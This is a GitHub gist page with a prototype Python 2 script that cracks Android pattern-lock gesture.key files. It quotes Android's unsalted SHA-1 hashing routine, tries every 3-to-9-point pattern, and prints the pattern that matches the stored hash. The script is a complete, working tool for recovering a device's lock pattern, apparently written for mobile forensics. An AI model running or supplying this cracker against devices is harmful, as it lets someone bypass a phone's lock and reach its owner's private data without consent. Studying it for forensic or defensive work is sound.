Last active
October 17, 2022 18:22
-
-
Save danzek/f9416b1404570754b10f to your computer and use it in GitHub Desktop.
Prototype code for brute forcing Android gesture.key files
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
"""Cracks a gesture.key file (Android pattern lock), reverse-engineers the Android method of creating an unsalted SHA1 | |
hash value from the 3-9 digit pattern code (each digit consisting of 9 possible values: 0-8). | |
Note that Android > v2.33 requires minimum of four values, but three makes this work for old ones too. | |
The original Android source code for pattern locks: | |
/* | |
* Generate an SHA-1 hash for the pattern. Not the most secure, but it is | |
* at least a second level of protection. First level is that the file | |
* is in a location only readable by the system process. | |
* @param pattern the gesture pattern. | |
* @return the hash of the pattern in a byte array. | |
*/ | |
private static byte[] patternToHash(List pattern) { | |
if (pattern == null) { | |
return null; | |
} | |
final int patternSize = pattern.size(); | |
byte[] res = new byte[patternSize]; | |
for (int i = 0; i < patternSize; i++) { | |
LockPatternView.Cell cell = pattern.get(i); | |
res[i] = (byte) (cell.getRow() * 3 + cell.getColumn()); | |
} | |
try { | |
MessageDigest md = MessageDigest.getInstance("SHA-1"); | |
byte[] hash = md.digest(res); | |
return hash; | |
} catch (NoSuchAlgorithmException nsa) { | |
return res; | |
} | |
} | |
Credit must be given to Michael Spreitzenbarth's helpful blog post: | |
http://forensics.spreitzenbarth.de/2012/02/28/cracking-the-pattern-lock-on-android/ | |
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE | |
WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR | |
COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR | |
OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. | |
""" | |
import binascii | |
import hashlib | |
import itertools | |
import os | |
import sys | |
__author__ = "Dan O'Day" | |
__credits__ = ["Michael Spreitzenbarth", "Chema Garcia", "Kieron Craggs"] | |
__version__ = "0.1" | |
__maintainer__ = "Dan O'Day" | |
__email__ = "d@4n68r.com" | |
__status__ = "Prototype" | |
def brute_force_gesture_key_file(gestureSHA1): | |
""" | |
Brute forces possible permutations of gesture.key file until one of them matches the supplied SHA1 hash sum. | |
:param sha1sum: SHA1 hash sum value from gesture.key file | |
:return: numeric permutation that matches the supplied SHA1 hash sum or null value (None) if not found | |
""" | |
for i in range(3, 10): # pattern length between 3-9 digits | |
print 'checking patterns with length %d...' % i | |
perms = itertools.permutations([0, 1, 2, 3, 4, 5, 6, 7, 8], i) | |
for combo in perms: | |
pattern = ''.join(str(v) for v in combo) | |
key = binascii.unhexlify(''.join('%02x' % int(c) for c in pattern)) | |
sha1 = hashlib.sha1(key).hexdigest() | |
if sha1 == gestureSHA1: # eureka! we found it! | |
return pattern | |
return None # fail | |
def main(): | |
fn = sys.argv[1] | |
if not fn and not os.path.isfile(fn): | |
print 'usage: bruteforcegesture.py gesture.key [more gesture.key files]' | |
sys.exit(1) | |
with open(fn, 'rb') as f: | |
gestureSHA1 = f.read(hashlib.sha1().digest_size).encode('hex') | |
if len(gestureSHA1) / 2 != hashlib.sha1().digest_size: | |
print 'invalid gesture.key file' | |
sys.exit(1) | |
cracked_pattern = brute_force_gesture_key_file(gestureSHA1) | |
if cracked_pattern: | |
print 'pattern found:', cracked_pattern | |
else: | |
print 'pattern not found' | |
if __name__ == '__main__': | |
main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment